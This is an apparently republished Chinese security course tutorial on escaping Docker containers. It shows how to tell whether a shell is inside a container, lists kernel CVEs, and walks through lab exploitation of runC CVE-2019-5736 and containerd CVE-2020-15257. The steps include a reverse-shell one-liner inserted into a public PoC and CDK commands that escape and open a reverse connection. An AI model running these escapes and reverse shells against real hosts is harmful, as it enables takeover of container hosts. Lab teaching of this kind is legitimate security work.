当前位置: 首页 > news >正文

云上攻防-云原生篇Docker安全系统内核版本漏洞CDK自动利用容器逃逸

知识点

1、云原生-Docker安全-容器逃逸&内核漏洞
2、云原生-Docker安全-容器逃逸&版本漏洞
3、云原生-Docker安全-容器逃逸&CDK自动化

章节点:

云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等
云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等
云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等
云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等

1、Docker是干嘛的?

一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。

2、Docker对于渗透测试影响?

攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限

在这里插入图片描述

3、前渗透-判断是否在容器中

前提:拿到权限
https://blog.csdn.net/qq_23936389/article/details/131486643

方式一:查询cgroup信息

最简单精准的方式就是查询系统进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行环境,就可以知道是在虚拟机、docker还是kubepods里。

cat /proc/1/cgroup

docker 环境下:
在这里插入图片描述
K8s环境下:
在这里插入图片描述

方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。
K8s&docker环境下:

ls -alh /.dockerenv 

可以找到文件。
在这里插入图片描述

方式三:查看端口运行情况

netstat -anpt

在这里插入图片描述

4、后渗透-三种安全容器逃逸

特权模式启动导致(不安全启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
危险挂载启动导致(危险启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
docker自身版本漏洞&系统内核漏洞(软件版本漏洞和系统漏洞 高低权限都可用)

参考地址:https://wiki.teamssix.com/CloudNative/

一、演示案例-云原生-Docker安全-容器逃逸&系统内核漏洞

细节部分在权限提升章节会详解,常用:

CVE-2016-5195 CVE-2019-16884 CVE-2021-3493 
CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222

二、演示案例-云原生-Docker安全-容器逃逸&docker版本漏洞

CVE-2019-5736 runC容器逃逸(需要管理员配合触发)

影响版本:

Docker version <= 18.09.2
RunC version <= 1.0-rc6

在这里插入图片描述

1、安装docker对应版本

apt-get updateapt-get install -y apt-transport-https ca-certificates curl software-properties-commoncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"apt-get updateapt-cache madison docker-ceapt-get install docker-ce=18.06.1~ce~3-0~ubuntu

在这里插入图片描述
在这里插入图片描述

2、启动靶场环境测试

docker run -itd --cap-add=SYS_ADMIN ubuntu:latest

在这里插入图片描述
在这里插入图片描述

3、编译修改后EXP后等待管理员进入容器执行

https://github.com/Frichetten/CVE-2019-5736-PoC
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'

修改完毕后,要把这个main.go编译成main文件
在这里插入图片描述

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

docker cp main 7f4793f3ac0cd13:/

在这里插入图片描述
在这里插入图片描述

chmod 777 main

在这里插入图片描述
执行main文件

./main

在这里插入图片描述
真实系统管理员重新进入该容器触发反弹shell

docker exec -it 7f4793f3ac0cd13 /bin/bash

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、实验获取云服务器上docker搭建的Web权限后进行逃逸

docker run -it -p 8888:8080 vulhub/struts2:s2-053

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
该工具只能上传脚本文件目录,没法上传一些执行程序,需要拿到webshell利用webshell链接工具上传执行程序。

查看当前网站目录
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

CVE-2020-15257 containerd逃逸(启动容器时有前提参数)

影响版本:

containerd < 1.4.3
containerd < 1.3.9

1、安装docker对应版本

apt-get updateapt-get install ca-certificates curl software-properties-commoncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -add-apt-
repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get updateapt-cache madison docker-ceapt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

2、启动环境测试:

docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash  //--net=host是前提条件,不加这个参数启动的docker没有这个漏洞
docker exec -it 5be3ed60f152 /bin/bash

在这里插入图片描述

3、上传CDK工具自动逃逸反弹

在这里插入图片描述

docker cp cdk_linux_amd64 8e7c27d7b98ca32927:/tmp

在这里插入图片描述

chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx  //这是指定漏洞利用
./cdk_linux_amd64 auto-escape id //自动化漏洞扫描

在这里插入图片描述
在这里插入图片描述

4、实验获取到docker搭建的Web权限后进行逃逸

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、演示案例-云原生-Docker安全-容器逃逸&CDK自动化

项目地址

https://github.com/cdk-team/CDK
不支持系统内核漏洞
在这里插入图片描述

在这里插入图片描述

演示-特权模式

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
也可以指定漏洞利用
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

相关文章:

  • 人工智能_大模型013_AIGC生成式模型的增强检索_RAG知识补充检索_补充私域和实时场景知识_关键字检索增强---人工智能工作笔记0149
  • 基于yolov5的电瓶车和自行车检测系统,可进行图像目标检测,也可进行视屏和摄像检测(pytorch框架)【python源码+UI界面+功能源码详解】
  • 2403d,d的108版本更改
  • python爬虫之selenium知识点记录
  • Ubuntu制作本地安装源
  • 一周学会Django5 Python Web开发-Django5列表视图ListView
  • 鸿蒙开发的PersistentStorage和用户首选项(Preferences)区别、应用场景详解
  • 时隔一年的测评:gpt3.5发展到什么程度了?
  • 如何利用graylog进行容器化日志管理?
  • huggingface上传或发布自己的模型(大语言模型LLM)
  • 查询出多个班级内最大、最小、第二大的同学的信息,一条sql完成
  • 常见问题和解决方案
  • 【MySQL】_外连接
  • NCT 全国青少年编程图形化编程(Scratch)等级考试(一级)模拟测试H
  • #WEB前端(HTML属性)
  • “寒冬”下的金三银四跳槽季来了,帮你客观分析一下局面
  • 【162天】黑马程序员27天视频学习笔记【Day02-上】
  • Angular js 常用指令ng-if、ng-class、ng-option、ng-value、ng-click是如何使用的?
  • CentOS 7 修改主机名
  • gcc介绍及安装
  • JAVA 学习IO流
  • LeetCode刷题——29. Divide Two Integers(Part 1靠自己)
  • oschina
  • Promise初体验
  • Spark学习笔记之相关记录
  • Storybook 5.0正式发布:有史以来变化最大的版本\n
  • underscore源码剖析之整体架构
  • 百度地图API标注+时间轴组件
  • 聊聊flink的TableFactory
  • 如何借助 NoSQL 提高 JPA 应用性能
  • 手写一个CommonJS打包工具(一)
  • elasticsearch-head插件安装
  • 支付宝花15年解决的这个问题,顶得上做出十个支付宝 ...
  • #基础#使用Jupyter进行Notebook的转换 .ipynb文件导出为.md文件
  • (Bean工厂的后处理器入门)学习Spring的第七天
  • (独孤九剑)--文件系统
  • (附源码)python房屋租赁管理系统 毕业设计 745613
  • (解决办法)ASP.NET导出Excel,打开时提示“您尝试打开文件'XXX.xls'的格式与文件扩展名指定文件不一致
  • (全部习题答案)研究生英语读写教程基础级教师用书PDF|| 研究生英语读写教程提高级教师用书PDF
  • (生成器)yield与(迭代器)generator
  • (转)jQuery 基础
  • (转)LINQ之路
  • ../depcomp: line 571: exec: g++: not found
  • .MSSQLSERVER 导入导出 命令集--堪称经典,值得借鉴!
  • .net MySql
  • .net redis定时_一场由fork引发的超时,让我们重新探讨了Redis的抖动问题
  • .NET开源项目介绍及资源推荐:数据持久层
  • .pings勒索病毒的威胁:如何应对.pings勒索病毒的突袭?
  • @test注解_Spring 自定义注解你了解过吗?
  • [ C++ ] template 模板进阶 (特化,分离编译)
  • [1]-基于图搜索的路径规划基础
  • [2009][note]构成理想导体超材料的有源THz欺骗表面等离子激元开关——
  • [Android] 修改设备访问权限
  • [Android]RecyclerView添加HeaderView出现宽度问题
  • [C#]C#学习笔记-CIL和动态程序集